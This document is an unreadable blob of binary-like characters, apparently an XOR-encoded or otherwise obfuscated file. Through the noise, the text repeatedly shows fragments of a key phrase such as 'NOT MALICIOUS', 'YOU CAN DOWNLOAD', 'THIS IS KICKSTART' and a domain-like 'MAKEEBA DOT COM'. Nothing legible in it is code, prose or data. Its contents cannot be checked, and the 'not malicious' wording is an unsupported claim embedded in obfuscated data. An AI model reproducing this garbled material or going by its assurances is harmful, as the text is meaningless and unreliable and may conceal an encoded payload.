  S)$7:'%# +/MLhh?eTcOMiFyO2[k7.R*#HkS`OP9	NW +
7>
- `OLxOMaKEEBA`*@w<&" 1AW="NU --> &7FOGALICIOUS}*Cz	La$
5BE>hAdOTcOMiFyOUp1OINwSl 4/pDcCHiSnOTmALICN	<HU~_N`B_<40 :eMiFyOUwA3]obcSiSkICKSR\bK>D];
dkLICIOUSycANdOWNLOADi[lXeMaKEEBAdOTcOMcFw:i$KT0	;C&S*
=A +[c)3
O f
/E
 0O+
i-O4  ^HISiSkICKSTAR^cS 
8WL&a?NFSOUcANdOWNLOADcT/O(	E(T!
M(5
U#N1,S?KT Sc20_n8L>O,A&AD&fa	Od;&O&
5 >	~tHISiSkICKSTAXT.
8I%n(I
O<O*'Oif% +c i1
U$t=S*KT*E 	C9S:mI0cANdOWNLOADiTlRad&O <O8Zt<;-SR*E2C9S*
(Iy1 0O :T'O$	KhAdOTcOMiFyOUwKA~tHISiSkICKSTE*_[3,#/#*
 qK+iQ
=+""
HeTcOMiFyO]h~^aFYcyBIIK!-R?I=n"@I
U+00
Ni)M E	!O 1:
83A&=S/   IfRO]aIIH	+?LyPO_lkg4	-T 5
B!7/
'"04-+9% \Hx}8e{lsiSnOTmALICIOHS}*CzTkm@P2 2,MtF}8U~]aM kICKSTARTcOREjH=$'<!0qK+iQ
=+""
He~Jf/Fq%$a >\1:$ !IwXEC[`ZnRImF; -NFzPJhg`="-.EXB560= |L(8> ,[^]a`jL-<OTmALICIOUSyOHc5%3 iOHe}JgCoPwI6aW/ GSDMR7 9@M(=96 ZpOH~AJ0  ,  5BolkNf}JK	 yRU$ AW-9ECkK6	=*0"@JRe|z$e|J7
LG
4 i6GP7'521;_i^z@OK(SNUXcH.9p5@Jb@z5e}DhH08/ !( DtT4,CA *"-9+ #MNS{45T`HAcjbzR\0#AG bODaA
[}4>6 -+4 hBEX_A`40;76=ZA`jb~h{}JK%HTC<=eE EO+-IJ*
 1 
:'
	

HmT~Jfd4lPf]kg}=I[:)[PoOBIwY@CUtSi@Sdke`cf|z}1ASdLm/ CMpB^okh9e~Jf,,w:J;_iW?  '0 
8ECL-<2OGhci`@_YSfUiA=0
L	i33=O '7U8N <I<9S  .b`CBCznET	US; /*OW:D&f"NA"0
M&y	# T1;yBIIDy} 7
2I':#A
< =0IGNfdefE 2M|K A$!7:*02F]obcz@(oXAV 1;	!  aAH
2UNyK+iQ,("
"+,'*G\lkd}]<CQ'-w *!(LIMU]yK+iQ
=+""
He~JfBfF
w0*$
 ~h{P0> &'
m\LM +BK$ 
	Lm .@*+',- .HU~^a`\fST 3#b@zj$AW >&'+8
aP*$L^hkMf[lO(;6U4  &y@z"CCW 	nQ #-;[gF~Dhcj`f--A%Wehm4~L{fBnK60O''y2A6 ,?k{}*	RMv0[j/
0
jAHbO3(nV#0 *
`OSf|,kg}]GFS.K -E#I;-?	CU 0/N7
D/*gHbl!+OEm,> , kKW*#ACzGfGhe`j 	U[0*/ /GS;% 8BLokhMfIfd@oP@Zw28i.IT"	.H
,: 4A
 
 ycNf~gefi\#8CAmF~Jfd@o"e|^hg}]L; 'SIAV*Io^a`ja4yGf}Dh	e|zPf|8kgMf~geK;'*aVEA6OZcHBn]Sf|^hg	^b`z@zBM 
RIcK%;!S`O,	
]W*'!H_C}O{fd%,7\a+;:%N-'kyOV?
J`HDe}Dhe`
O] -,4
F=n"'=$6IBQhOGjFMt[yH"/I]^a`z@z0cjbz}h{P <HTC<; ,	>
?1GQ 	'^Uffhm@};xedHbllF,
(OPiB-9 ,;$CESSNUTmOV?
SCyGf}DhCFC*2O,N! i?/ okhMf}*	MaB-$LP'. =9CW	(F[o^a`ja2yGf}Dhe>*]a2-A  #3E((OOiHyK?}Scy@zB`jb-^]a`ja@De}Dhe` kF/  O%# O8	
~OScAMm1
<HU~^a`z@zo Y_/
-	>85iNnK8 +NIhgMf~JdJ6  
3# )/
E`]Sf|^h~^a`z@W?
^J&
%6:2TpAH<,e~gefE!5_Q37.')%<]~Zd}]ay@z6cibzP0BL8<<*yRU7!T}def=4O3 ^hh9e~J@GclPO_w2$I!k
A"9Ii&
T.U0 6}gLEkmi^f25BA& /
'Fy;"N:H*.GS &Ow	%S+"f`CC@z)70
N
=)O"
#!\jed2lPfQ; 1INi.C*8!0##KAryDf}ECUW--%
3=XfV36EXBE00BS.-,2  0==9 -M~Scia@+*,KK<7-N"OiVf\OI5O_'1
=9=2&@HCzBMLL1  $7/"

SdOExkdMfXAL(i/
M-#e}JK 
<#$NItL:.NU4/
Ms
dM-?<:1Ge}ge@ND4M1
%,g@o}>CJ$(*-=)
L
=<FOGke`LFO0+ c* ehm fZK)H\!11;NpF^h~]a`,>Kxe{l*bcjaf\n+m(L
U7O -% 
A  #3Zokh-	TkGI/5
9>TiUTS/'BZ~h{If{ls
dM=
  
]T& 
%L,2aLEKBE00BS*+91==9JPy~h{}g$EW'	!3 7U~A6Ufehm@#/Ke}JgCoP@Zw%1;
kS" {H*=T9		I S57kgMND;(4Ee	-- jOKoFx
'\p ,?"BZ~h{If{lxGI"-S<
8I0-N7OiP"gHblAlN.0N}%HG~]a`CzB`jORZ~OUJpScja@De}DhCFC:y/A
- i($olkh" &!FqK>8=S( kM/&Fxl^aia@zGK%CTOQ0UmA% Lm/
#  LYkNf}Jf/Fq%$a >\1:$ !IwXEC[`ZnRImF; -NFzPf|8kgMf~gH	*fOO93
 0
#*=(1GQ4	?ARy@zB`ay}h{}g 4ICHiSnOTpAH8'>+ NBOFKnThRK)YkMf}JK");>(8INiW?
^J2* %KL*+dZfcj`f|?O]g-#'%oxfdHbokhMf}'
<C=='k
TE/
<:KJSCyGf}Dh<TJhgM}defhmm .@	>(740i[yK>:5HCzB`jOY} 
4-,((3
+D^xkgMf~JdJ6  
3# )/
E`]Sf|^d}]cy@zo Y_-
-><* #LTC beJh!O<}xfKalJHKNfTiO$:F8O>T;I&/K1
E,:
mI<,GNfWDffANi46,KEE6$OMm 0(8CzkCibS^A2&9HI&DfTgNf`-
U% 'O*
$MA(
;1)%<\]h~]a;*
K[P0BL /,nmE
pe|JdMf~
OI''iO!oOI/5
:%'0Z`yB`jy}h{}1
%I<ue}Dhcj`yPf&6Wr~OegHDOOhhdET
i1
U3!S,(T%w=!~DAFcjIEU3+
6 dOn@Tl]ed1!O6=6U001% 0G[o^cjam+TmALI^I4(HSf|g73O\D? ._X!\d**%@1g.F[OIe{lxBCia@SdO15 O>:7 0OXN
&#\1K(	Zc !+$N OS**Jy}hR^le{ls-	$nRT)
 ]T<&-(
.:+KFA[i?!*!%$('A~O"'4
]>(=-6,`HA`jO))cRR.:&,<:OZmFCNCGOQ !.UNe~gCEKn@}fXO.)XA!/	,F-w1;
kTT'
 ;'nG(Lv *
7K"% :7Z3`lPfU}kg}tBI'!8I1R8' n(AD:&0
N *f 	$K
A((-AU N1S=kTT32gyGfTgNf`j 	U[=
* GP#%!(&=
6HDaMCEJ,!=:$"yNHwE
'-;Zbcjb~h{}g5I^H/! 4 %-]( -"' +H_C}OegHbJOHkMfTiO(152A1H*>C
	&O%
;
nmNIy&A-IO& hR;(E2
7M$72-H%? ST: ]a`CBi/8I	<O,N6
D/)Oa +c*,U 	<H.?ITT7E8C&n9O7'ONO  A(*xfdaAE
7O&<<OW4'D;$
VOx}JOXJ]a`G
(%

USyRU*(%[^.2ZH( 6Z0
<w"2nZpcjbW 66%
;
nRT**  
cU&Fc; h
4K63!ApT^hJ597"T~O'KL+-=%
 FU|A
-
I@+% !FTyOI+: '%1;
pcibzR\g<';-?LH^IK*1*GNf~ffhmm#40aVE1 *"7?#	FP6	
<   jTxl^cia@\dE~DhLCC,,c!Oi47E!~JfMclPfU}A:=I+"A/R6H: mIy 
4O,fa
 O-O!y
# i*T'
 E     i=e}DAFI
U6c) Li R$" 0AT
M=0U4 ti*
A/wC&n
.O6mkgMO]Affh@9'/ /%cRM+*
6\p
";(XcH\'	NJSCzGK! !)!.NyO
$nV '/ ,JyH[=S}Scz@W;6 6<:I^H+=
,	AG7- 
4!	CACg/HDzallF!/OMiFyOUwANTiH=(8#$"Ms
 <
(O[S~@RcON`#*3!,LELAcA^dTgCoP@_}kg}tBI61'S?0#H./mAU<7c 4O
i?/5
B+med@Fs@^ht@/%CT?(1?;37O@Jb@z5e}DhH1+OUcANdOWSL #GJ
8)$,& &&dFMvF<9/)0:IIi8;,$'0( OIf{ls-	$nOTmALICIRU<	-
lH<=?*-"57HDaTE.12#2. FcO65[, /.,+HI~Jf{A> %% 9CTO*
"lK"eTa\1LLELAcA^m Abe^hg2HAW%%'T@OT< *<-*:`ynOTmALICIOUS"eUcANdOWNLOADiTfRK$>8B\d$'.#"=N]ANTtHISiSkICy~ARTcOREwHICHm+/ALI^IK71*NjOPAKOODm()-5!xeMiFyOUwANTtHM,4CKSIA9' =1!;CFiTaHTcAH  )<?76LdefnC}O]@M	!O +
M:#  t99S  .DI
i 
T$LU O+N4 A*5&K *
~JfI9	*%%TiH(8(
N[7?#8aZue}DE+yOHcE+> Iw#;,!ImT~Ifd  yGT2 -@M,;-
ZTGTTk; aW:
=%JINHS+
/0_J
4[FDKblhhMfP1
;yRU',$"3
IV &!>@Xb@z3e~DhCCIcf|SsO0;1ND*(
4 B2/3
	i 0$AFS?
:*E m' :TgATC,c!O:T4.*A+g@oyEU1'H i.ITT1
8M!n)LO<O*7O	O,#Ca? d&O,,2N;I!k  &xl^HCC, : ,IS86 (W
Ds]L{fMkDolkE73- 0$AST#/*$QI\d<=]=
 8B 5
dMNe~ge ,'
E4#,.$0]oOJ":#  zn_kN0A<OECO9>A#BHYyPf(jZdNf~
OIE- %CB.+"< =9nOpe|^d}]aF\i:%I   mwi+O,	IO: 'N0N&5R2
- m9F?2d}]aM ";5cRR%7$<e:f`j`fZ\y.&%O5i) O'.	@Nf}JfJ(4>5f$l	+a>w3FBNf~geH  $(3

N' 3 ,-Z4+5+)  N 06 g&Sake`j`@ZS .eO"C}O{fJ 7";I: ' :\*&6	32G=< $GR_Sf|JhAkO6	
i6'1K
A '?,*e|^hgS#D&?\*J6
(/8L\+
7%A9SjxfdHbBL' 7
=I) 0 {	,*1
x	G;=?  A)HYIhgMfPB' #B17@(
+;<[5\;8 mpDcja@zi`\) $ 7@	
+%6
k3@,- 6:F9Tgcjbz}N]T 5	I0%Df}DhK@*1 - @Ce~O{f0mKA	4')%*FN]hg	^b`z/9TIV(2/
, nmE
 FzPJhg`'%fOOI%&6OZcHBnFwOQ1obcz@z"CC+&#AG!-2$	@Jcf|z"e|Jhg`72AYi 4-
 5*?7Em1
<'1ARy@zBibz	kx}J@XO]a`CBi668	IM:
0A"O	O,*M'!O0O';3ON;  >8CSR-wH:+9	L
[yPfUiA+<
A=T#
aEd5
M( O43&:;S/  oO?:n(A O5U!N& 	A/T2
M4 hhMO^c&	*
w tS;%S 	Tm4i'GheIIFe|z0	Uk %^s#GJ*% m,5y 6T`S7C*82  ,_m@n'>G,[3	,
 
nXf)2DhallkMf}g==OHwE
'-;SeIDD] 
pScja4yDf}bNL; y:A
1i/
KKEEBAdOTg=FdO%8.AG HI~If{2iW<
 vkeicOUSy@_ikNdOWNFO3*4$E(
 &O'F<#N;;S*KR%O$H=
n?C <mkNdOWNFeADiTfXO-1
AdO7'yOQ11IS.I T7 R2:ynOTmAFFi`/&A1 D-*
  '
:N}	;}bISiS0cCKSTARTc@]EDi<T9L
yc4N
  ,fM5 E(
:,y8dTtHISiSk K[ :GV8`S2TeE

SdRUdNImF}NLOADiTf	eMaKEEBAdOTcO,,lkNTtHISiS6ciKSTARTcOV8iNn;,
"7?7	F`	
Mr~fROMaKEEF+  cOMtF9 >'#*CW 	nQ 
8@XbCSnOTmALILFO17Hc=OL, #R$KcT1 =lyOUwANTtSaW-AOI~OV8JbiSnOTmALiIOUSyOUcANdO
r~fROMaKEEkNOTcOMiFy@Zw%1S=.IA/]HICHiSnOP=3 SdO4''U[, 
JHeTcOMiFyOQ' dM9\E/~SciHiSnOTmACFC 	U1
U/"O i5R5K6O +
M:-
R$A;I&lCcw'=eTmALICIOyG7+_J
  ,jRK.LB@yRTsFgiFyOUwAN^HISiSkICKSTA 7 lbICHiSnOT0kfICIOUSyOZlA)!WA,3 7	B!7
M=<O6 H%.iKSTARTcOV?NV-"
 (1351F  Lm)3BL^hAdOT>eClvE_]ADT i#C1cw;=OmU8&ONN6,f8Kdc,F?
#tS,*TI 6M,;Z7  SO_cd^^ND=# 
M  E6
T9+O#tS;%IKA "E>I=S> 9JGO<y:A"O	D*((B7O,M$-O2kN^t<%Ic		$GiHcynETOUS$4!6<5$EEF&1;Fy;2A',kK +O
wH>?A<eUikNnO7	'Tf - =OT %8U1 1Hik
R1]HCLb/  $I/)1I/. =$' "# 6OP,,/
~k~]GFS"C 	c
"C'7O8L I - &O,WD&f/K B	%c$**%N$&: "
Zk{P*94	;nRT)
 ]T&62:=#IETkmm5"aKEEBAdRT'
 <]p*'7;=2';,LZT^R?
,96);78<nUT+  Re|W01&#OWNLO\D- %CB.1%-!HDiYy$&$,!HSS/'Py~hcGV$#  :/ mGJIKHK 	cGHdNS+<o[ed:all0-O(
*
N]h~^aF\i:8IT7  w
%*P~mALIG5
c\N$10N|
iL
71C:-y6;lEC[ZOkxTcOR1HABL,/(EcCIOUSOUcANdOW	'T $PoEBAd~IOMiFv@UN=t%kT(O
w\biSnOP7 OHS$3"+TV6
iB^ohAdOT*	MaB#'Yj*CZT\OTd	>nZDOTmAcCIOUSyOU11N
,OLROMaooBAdO[lO,=8wt ,=aSTAR%OZ$7,:GP"
ZpeUcAN?eWNLOADiTb1H\ 0 Em	;%}ScSiSkiaSTAR[lO 9HC=>CT.	O=O&6WL=5R3
okE0&MtF$36&SI.?=
I[OIeREwH%nGP9DQ-;."!	FEO_Dy]LROMaolBAdOP1
i[yK6&EW  AJPy~hRTcOw@M=(i*?N>INHS~H\IhNdOWffADiTO  ^okAdOT>eMiFy]ANTtL=29SIA)~cOREwHICO:/>FLI^WO,
YIANdOWNLOF	,5fKX[B1oeMiFyOUwAI;TiNuI
^~cORE
SciHiSnmIH4R6+1F3dNJNKHHniTfRgaKEEBAdOP1
+F 5 n.kI^KxeREwHICHiW<
 2H7
RANdOJNr~fROMaKEEF!510=~$1O4StSo(S$ ,U8lbICHiDOTmA	eUSyOIANdOWNLOE,  80B!SOMiFdOElkNTtHISiSo2H#*n.nOImQWcCIOUSyOUg0.:C+2"4B8B\d_OIOMiFyOUwE )(
N
  d2REjH((.(: 4[V0kHUNOWNLOADiP4,39F(7	%~2UjAI01 ,SCLSZAV" %EW= ;9AJReUSyOIkg`	LZ, $4>! 0 <G\lkdTtHI,>KW51lbibfYdeTgA-S
7!eWDL.D>*B. d ?y
# i"
A1O85DI)8S/m;%9C00kNneWDL/*'
MaK +IOGi&: .<I0&2
 AZj]BUoE[SZ|S % I$[S-+  DfT
#
E)NO^c/ <2ANT&<S%
T1/E
:n?I\YS6U/ !}NF@knf^lxOGa*E4c&# K;2NePS,, yTK]~ $H((<,:O5	O487'8
CL{@GkalEHAc/,wI/+Zi9-O2I ,nmO8/ - NA?/-olBKNfTiO-?+O%^aIYfyBTg67=/!  OHS8"NleWNK.409	6*"LEX\Ac.7 @$	=
U28TeykID.!&><;03:8(<. ?HTp_LN7
U0cdLA.5f) EMNOTd*?9 '4> );0:,DKNJAU +
R%
,S((AC
 ,oA6 i4R"A47M(<O>:N_CSkN&9!+(<"#;!);   %08/+NCTQUTc '	O%f$
B+O&O&+#MN&H*"Kc  w  )ATLU86d i R-d	/
eF)6T9	i >K T: E?	H-9" Iy&A6
A(2R	-EJ-0O 1O?N5S'&C
A7
>HgV=CTcDYREO[VkKsS^@L?(#R*E!O ,O	&76NH1W'wFMT,E1i=*A?/79CU+O31N-W, 0T2 2 B+c-F= U4	?H(kA/
R>C(->AI	<U1+O
i .O  A(:F)2At),*I!
TlO32H" ZjMfICN*'!&; "+("#((*nT{LOJ O,'AueUwF-;$-=,;&*'1>6=HRXiHN <*O"L
yJc(KCkDiS=:!%1:53;1)$#~OHiAI7;i$CRQ0O
%H= ZjMfICN8'<(*5>'8=8HAYwTa%/E#61d0M&y%IX^HIT!'$45 1-!* BwUWCO!m'89C7&A6O;a^eMaL27-/02?2''DpASJtO>&,I%?#T7	w *!mLLO+
7=O	8n f2BIhAdH2?2
';*3+5 -67 !lI^USS"/R8I ,:
T)  
yJdMddOP(8?>096&?%*1=6& -!AyRKwF-!S'?IAc  6C	i< , C
61N 0SjxOMf8#12>*9+$9 !6<= )+?TkT]KT7'O
#H
-S!T.	OS.7 (
W	;4O	( 6SoeMiA;%"!!,''&%,*7SAOJcH1
"C&n!CLR_SOUd5&!0=3'$%1UOPKB1
*c<F*"
T?i)S5
!R.>(:HXGALN7!&;4
0ErFNyQWI': ' M(Edc:82@TI:S*C
	&O#   O " GC=S86 d,faB*'
M=<O%"I .IS 6R>MOeynOS)%'$:0E@~OH}AI =T/O.B=O,i<22S'H
'" mO3w  eS'T  IU6c dBHMniTa&'$,6:RUcOI}OJ	,O?0H>'ST6
6I<n.	I	<U6*W(8?A'T3E *&M$	=
[w  t,kR,wi!OmS;(di(O$
 0-O(52OIX^HIT;'$8,DTUT~QRBE;=?  O-
U/ O i4O2	d6-F;Uy	7 :S$CO*O%
?=ATI  =O -6A!2R E #
oOYyRy3A[DdH;9CA6	.HH><)AS;U&0	L	i ,*
c	%*AUN'H=S$KR ,O $I=n8L
	,7*O 
Hi#2E
7O,-F;
U3  1:S-K
 T0 yOEiHiT'=&?6S_HUNgOR/A?45E(
c=6w N5'eI*ST"E9C<+O % IU+
U*N3L	=T"O.E06
CnJSOUp5&=/:,yDlI^USS5 *E#I:!mI
U<,6W;>#A/T'R=  	B	+ cGgwO#N{GX]{]xGWD- ~H
%S"
)AC
67*O,T'M8B-c%
y'tS+kS *Kw<
i=O"IyFdO	>T?a 6O-M
+
O85S>9ML_~ARS';+;6SPnSsQTj8CS*3!WO(fa
! "&y1t'k T72FI.:n>	C
S;
U"-
@Oi'8K

!T"<=CU5N::*A4O>I/9(A[TueUcF:&9)?0Q]nT{LOJB! c,y#A$S=*CT*Rw
%#O(	
[SU*N7  i #
M% =
c
, O>T-S%> S?0#FNObiSi,82)6/ (=' -dASzOP- i# 
M.E7T<.i6O;t:S&UXIORB-%&+,=7(:,DIRKS~</0ON<f) EMNOTd.?
.90''8OINwSl(T% mOEiHiT*8"86&1;'2;</IdRINK<,2Ra ',M$-3FB~tHN$:,<?<+';8<UEjVID?;:
T9L

I~CcAI=>:)0)=&6HM|UEB*&'OE<<O31N:S k[SoeREp?;*<,
&&"8%:NOHMyH1*'KCkDiS &94#12FdRJcH8:y)!A&H%S-  SMxTcH%7<,<;'HTp_LN6
U ;%c6O O%5UCgaKB#61';;Ji[gOR2G2 8I& ?I
[UXIORB<9<8!HTp_LNK:F3'	O,~H[dLOF"$4;=LEX\Ac:&O+6y 2N'$I[':JL_~ARS;":):0!6iOIsAK<O3'	O%"-N! nXLROJ?5:72=ScRSiAq<\5>T!'&YL_~ARS;":):0OiNpOSe2E/79O*,
~H[dLOF"$6&?fKX[BFl<];=i04-RN_CSkN%?#+579+;7pHT]Hn'+"I<,~H[dLOF"$1 #.&1+.
0;HMtXyH31N7;*"K6/2NObiSi<213*,'!00&:>!HWSROF7 R,/ +T(5?
SxbISn59<(<:/77&=+.(*$!HTp_LN7
U5?U  *
 D/
	fGoEBF) 0.(*6(!:.(:&,DKNJAU +
R6<9C+& 
9C/<RokNdH1:<05!$;=29,1##*ScRSiAw$;
k
:Ow
("
ZjMfICN)!#;01*=(;"83-5>*JaV[EE5,
T7
 9	+.A
&
&2I
ST46
Fi#"
>L
S-c6
:Za^eMaL#12>=;<(nFdQUp##TeykID-'$# ;<77$+/7 =;&"8 ,'<RSdQUd"-NAi/ 
5B+O".-
U>t]i0'   SR;O
w*n,L

6oA-% Oi$a B6 &;wHY]ANS<91<:&9,13 ;0:*<'"%TnRJmF%y)!A+NA&2UCgaKB#61=;<(9='31!-;# NCVMTF;53H/78i=
# CU84 H[dLOF"$  :.7:'3 &!"%*&FNIjHN7 .
A&9pI  :O?AIHc	2
W !T6 (7O ,O*<wSxbISn59!9<#27&* 7:66&&?;5)-DIRKS~<1hOA"$f
7E!Hi,8T;S'I1R%;]iC~mAK/79-'<<0>"#()#? 6:UOPKBCc ,F5
2H SN_CSkN%?#63=#* :*%<-!=Sm\RID(U+1A'
Ce~fRH>?5:,.<']Ji[gORti .T0O
#H,S:m2?!QI?=#y'!CW
/4O 
A' -
=F- U':$t?9ML_~ARS)&5&&<.#<!1#;7NOHMyH,,d<$&L?4R$Ed/ i5;%w:
 %DGyTAU';": :&-/&*&jAQWCN87U':O	$fM1
6SoeMiA
)!>9&&.,'
;7"=3>6=HRXiHN:<S#9AS8O" O =f)LIoBAc<2?/)<0>+&';,<
* . 'FRI}OU!> &7O"?NU!7A6OO'(aO  E++O,4$'Hi(
 TSoeREp;/780:8	/8669#:2HU~_Nc, A
& f.
EGcC~cOJ ?*   +;6'6'"!SAOJcH1
"C&n( C:1NaPBfOAC=k  "LEX\AcI7T&	-I#ZIX^HIT
</*,,!(-2?07?:&:';8FLT]IH3'	O1*'O#&5JmaEEE#!+ '(
-~OHiAI7<
n_AICL1 /-&<71pHT]Hn!+9F@cCIH7'0!2:;'-#!FDtJfU;2E#61d,-*0 pMdTtO+',,0? 25"7!UEjVID<, :O'5<I :,IheWNK-5*3	& >*71EAyQTd<(-O!SxbISn1'<96 3+ScRLEp:0TbeTmF* -,0!&*Rc\PdH1
L<#UCgaKB(+/*,,2/*Rw\PTs%  >C * E#Rn_DOTj,-1<,700;<$IdRINK"  3O9+T7 ,\~CwAI'+&= 9&9,'57$dOO[wO&*T=I
TueUcF+;%//;>" 8!HM|UEB'0 M/5
pMdTtO+',="9'SAOJcH!6DDCSnH15>( =&;4~OH}AI'a^eMaL!*=/;+ #"#*-3/7 OINwSl-KR/  w
i'"L S-c0
i5Ra
!dCgiF~=05/7-(=#lI^USS37  #H(*O7!C<R_SOUd#:
0%;"&/75
>*?fKX[BFc,F# 1N_CSkN!?=+">1!'5pHT]Hn0"
#A9DEeUS~-!>=;2()HAYwTa$(E6O*A*O%  1TeykID)':>!=*0 pHT]Hn%'9AO-
)dN&	Ce~fRH: 9+,,&HT~QMn#!6;I$(%  SMxTcH77';<'
0=1	FLT]IH4y
1d -SjxOMf81 #-'+ )AyRKwF= 1	!S&TXkRTd<& $=+7!HTp_LN+="9S?&A+OA&T1M76SoeMiA='/! )69 /*'6SAOJcH&2H
,S'T#II%% y 	2
PBfOAC&-&#*),&>?'?,5 'FNIjHN'!k  cwi=O?CU1
U",LD*4 5LIoBAc%$0=5
8:%ITiVIT(
T103HA;S?'mFR_SOUd( .;'(0'-1:*,.7:-'<1074HUj_NS	&kTc		2HLH/<O(  AU'1cdOBA-T)O.E  '3O;12A=S*%
Ac	#i'>AD

S.+A,
WD'+O/E !* :FwJ{A@Q'XX_i]n]GCFjAR5;i/mI-O,N,Li R$ E(
ci1
U$ t-9IS?0#FNObiSi&:   '6)<?0= *=PNQQAC 0%K !T*M(:!N=_i*KVMR%	 #HLFi#"
>L
U ,cd-TzS YM)QT6&=O6$H*"Kc9I0.#bO?A*=3IS"d;T+a
B+O+
"F-#A1S/'CR"2I ,S=(L <U*N0N!.f0*B%c i'2
5 N659SdI" T 
yOEiHiT!"-%-</&96'0%+0:; ;(4&UOPKB,%'O,=
w T5
 .IMR"ErEC/=
 mDGC0  y 
4O,T%(B"O6 5
U1'HA .C 	R +
R6C(+O#L
 0 0A@a[NBJTxXf\JYeUWFZc*=<U$t , kS*IwC!7O?L
 -O1A6 gTM6		B!
c%F6	U#	1H%8ISR1
 9I
i&
T> C:1@d?D$-O4 Ed4&=OI2P:U\,uI T!"I*'mO  0c2(?[NA"$fMd"/+O8T5S-k
A"R? H/"
T>C1
c!O
D;6$EA0c"'>
U !S9,CT &E	
9SaO5&	I<6ARokNdH">(.5!<3+(LEX\Ac.c--
w'i-I" T$i[r,L T8n6Q
")Qn_mO0O?05UsDcSiT9'*'1><;&1 pHT]Hn*!T,	I <U7N% A:fa0O& 	7O1A/1i8"
T";	gS(L7U. dN,2Ra	A%c%
y#At99]SMxTcH'5)=&7?  #jAQWCN+7"N*  I@eADn!6.94(*0$!2HMtXyH88T=;*
SMxTcH< ,:,%;#$2KI^WOR$8c)
W	D=faA0 /PM8U#	t :qNOaSTF#!
,96);7OiNpOS
I<+U 
PBfOAC
5&(("11-6=?dOPwF~,9=I ti?IS |O1	>C,RiC~mAK',(=6;90"",<&)=$CiIxRH#.K	-0O	,<2@T "S#S T75 &:*A --@cC}NLH1+ 7<99$1+.
;&:/#
':5':OINwSl: 	$O
#H" T,Iy06^D
/M) B+T7<5
? =S 8 0AUI]HID!==1,#:76*'!=&dASzOP',T+a7HXIOMn2"02+  !'4,,/;TT\LTd&%i&
T  U6OFcdLi537M$
jO=-,*
U#	T9	$&ISEQR,R6i6, CU<& !OA&TsRa
B!T%,F<8Zt<
i"
AGXc>HxSf9AIRpO%A+W	
D.2&K$/#9d
1 :H~CwAI' -(?;$,/6+)78HRXiHN4 ,n
, EO5U5-O&f 3K,5B  &i0wT5
i$ITc2H n(A --A7O=hR*$
d
0
M>5U5N1 ,?KA'O;I,S:m4>%C<AU6Oi3M2 E	!O&i/	O1A1H:?K[ 	cE4&"
mIS1 7MN* N D&fDoLIoBAc=1. 9&921<$9TiNuID9 0O\#	
 : bO(B
	uO+@-NDg5C(E**-F0U#	T5
 .IR; 4 gS(LO7&N3LAJ+-R
5*ATi 0w1I;kc 9Hi"&AC*7O 3OIheWNK=$7;70=9(,12 :0%*	HUj_NS 8IT&O %   TeC' !S?&A3`T1)K d ,-F8U5 !I .GC$R,w  i9.T,I)9<U+*7AW*
D'2R3 E
A' :Fq?=A
1I&kA Rw<+FZjMfICN*-'.6>"<#ILR_Dn2/
a
E0 JelyOR9:&+=,:=<#681UT~QRBin	!LU ,c dS
_$!B"
K#S[  	,Xy w8I(?ScEkw#(CCMOv'Pd N	i/
Ca$	A"&M$->	T    i"KT!
R%'S: T)MI#/
U&0WO='M$ ,$OE-? ;GZsDcSiT
"0X,=,";;UEjVID!$! mI.# c2]cC}NLH /G&&9.:66$^ScRSiA 9 tS*S'RUXIORB#:P70*'FLT]IH4:
0A%!PBfOAC?A0>(7 6FdRJcH>,+
w*sDcSiT
"0X,7.<:,&BwUWCO
 .LI.# c2]cC}NLH /G1.#.)BB\zOS *5O: OEyiSl((8@+5; *-6-9QOiNpOS  O,U> N?\A<-JmaEEE <G-8
-;Rw\PTs*"?NOaSTF3?\-);= ''! FLT]IH9*U  0
HMniTa3$>r41,6-0'*=zAyRKwF=8
i9
Ac8DDCSnH52_6%&#16<Rc\PdH1 :SjxOMf*.6Q>&8<Ji[gOR=S'L_~ARS$!V< 7$,;1UKI^WOR:41*Y@BHMniTa3$>r4!*=/;+ #"#~OHiAI$8 ,S/C A,E#  H> :A

U
6c'L!0M  E -c 9	+3FB~tHN2 x67"'8$-'*"PpHT]Hn:#?L I)7IheWNK.*7z+&!2.)*#%cOI}OJ5 3A%7(?NOaSTF%&!5:<9<8']Sm\RID>>O31N-D-4.EOA0c;:%N;T?I ,E#I<n90NIy,IheWNK.3'=70)9 &6.6ScRSiA?t ,?ISMxTcH  '('7!'=$?NCTQUT
, 
cC}NLH"+250846#61=;<(9&!$ITiVIT59C/ ,E,iC~mAK,1;06<#1/!08>)!>%7;9(;$76FdRJcH.&5U9T;i9
A1R>CM:S( m	 ]y,&dO,T a7CT*M;85T6I!k	S &R9I
i!T$LC:1N)L i R E d1 =Jy 215 k * wC	'
n  %I0* dLD9'
M#E6O,gAueUwF<1)$65%&8TT\LTd=6C,8
m  8,N"O/4O9- dCgiF~-!>=<?65 =67>=1FRI}OU6?C	-/(L*O]%d
	`SjxOMf9 66.*+*?/
<</=StUWSn!.A/
R2
:!jMfICN54#*33+cOJPLH%%2O7	-c/	+
U25&lEiKSS;3$*4*-6+-#iOIsAK= 
S- U'!ND,//E!T"	i 62T!;S?K7  w,S&O y, O
 i>"A0c*,U6=]i:?I'$6'A<;O<I
=n.I:U%!WA&"adc,F;<T5
 .GC-T"E1; n!IS-0A!
A':f< 9a	 E' &-HyS#3V>2='$JS );'c"3<w,,/-6n)=$?I"'+U5#13=d8?'/'A T=;M.)*,&d;;c6"4y<<$@T;,S:!C.+ 379O1$< ,&gS6T/-+/ !2S'<A(.#;>*A=!f3<>& E#-O&<=(
&7-' H(=S "):8(&-mS]#wTbe]vkf`LCEzyEU*
i2 &Ed
n(?CoyE^ADTiS*

~hR^le{%,Sj,
dRW i\LROJ >1*/. *;HMtXyHAśխڼͻOɽmקֺ֧кƮܹޮiңѯУ͙֠ΚN_CSkN&9!+/= .-/)6%!6iOIsAKǧUؠOЇOʫ߯c܆H޽ͯͺߪӦެāT1-NOcOUT='"!=">80 6
<$*JaV[EEc܆H޽ͯͺߪӦެāTԢƭԡĽOߋۣáя׫Ȭ܊XcӖٺĽISڼצS§ߧ޺UNޮǡԪBʙ٠ٛĆެTXkRTd* 7!'5):
05"$ 5,09<(Rc\PdHʢAǽʫA޻ ӗֺֻȧԤTݫܬTܢCڻܗһd͠ݠŽԫޯٍңFUڠǦ̄Sȍٙ٦]nLUȌġЫϺR܎ЊԺזUśI˧ܤԼύнզOI΍ڠסDŉޫʬhO؇ԗ޻ܽϧKOȘ֧ͽOݦڻúۊWڪTaԪáFٺżͼ§KŮġǫ֭ЇށԦU[޺®ڹARE͍ͯMһҺHɇCƻսĦmOIOIAP i^YcOKvK^^`Zf׫ӯףNاSӭڼǺުԦجnS _ӭءOv
